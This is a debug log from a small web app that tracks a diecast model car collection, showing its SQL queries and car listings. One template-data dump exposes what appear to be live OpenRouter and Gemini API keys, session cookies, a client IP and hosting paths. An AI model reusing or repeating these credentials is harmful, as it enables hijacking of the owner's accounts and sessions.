      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:49.823Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:03:49.823Z server-connect:app Executing action step identify
2026-02-04T07:03:49.823Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.824Z server-connect:output identity: 1
2026-02-04T07:03:49.824Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.824Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.824Z server-connect:output restrict: undefined
2026-02-04T07:03:49.824Z server-connect:app Executing action step select
2026-02-04T07:03:49.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:49.825Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:03:49.825Z server-connect:app Executing action step select
2026-02-04T07:03:49.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:49.826Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:03:49.826Z server-connect:app Executing action step select
2026-02-04T07:03:49.826Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:49.826Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:03:50.127Z server-connect:router Serving templateView /
2026-02-04T07:03:50.127Z server-connect:app Executing action step identify
2026-02-04T07:03:50.127Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:50.128Z server-connect:output identity: 1
2026-02-04T07:03:50.128Z server-connect:app Executing action step restrict
2026-02-04T07:03:50.128Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:50.128Z server-connect:output restrict: undefined
2026-02-04T07:03:50.128Z server-connect:app Executing action step restrict
2026-02-04T07:03:50.128Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:50.129Z server-connect:output restrict: undefined
2026-02-04T07:03:50.129Z server-connect:router Render template layouts/main
2026-02-04T07:03:50.129Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:58.109Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:03:58.109Z server-connect:app Executing action step identify
2026-02-04T07:03:58.109Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:58.109Z server-connect:output identity: 1
2026-02-04T07:03:58.109Z server-connect:app Executing action step restrict
2026-02-04T07:03:58.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:58.110Z server-connect:output restrict: undefined
2026-02-04T07:03:58.110Z server-connect:app Executing action step condition
2026-02-04T07:03:58.110Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:03:58.110Z server-connect:app Executing action step update
2026-02-04T07:03:58.110Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:03:58.111Z server-connect:output update: { affected: 1 }
2026-02-04T07:03:58.111Z server-connect:app Executing action step upload
2026-02-04T07:03:58.111Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:03:58.111Z server-connect:output upload_image: []
2026-02-04T07:03:58.111Z server-connect:app Executing action step repeat
2026-02-04T07:03:58.111Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:03:58.111Z server-connect:output repeat_images: []
2026-02-04T07:03:58.111Z server-connect:output condition: undefined
2026-02-04T07:03:58.416Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:58.416Z server-connect:app Executing action step identify
2026-02-04T07:03:58.416Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:58.416Z server-connect:output identity: 1
2026-02-04T07:03:58.417Z server-connect:app Executing action step restrict
2026-02-04T07:03:58.417Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:58.417Z server-connect:output restrict: undefined
2026-02-04T07:03:58.417Z server-connect:app Executing action step paged
2026-02-04T07:03:58.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:58.420Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
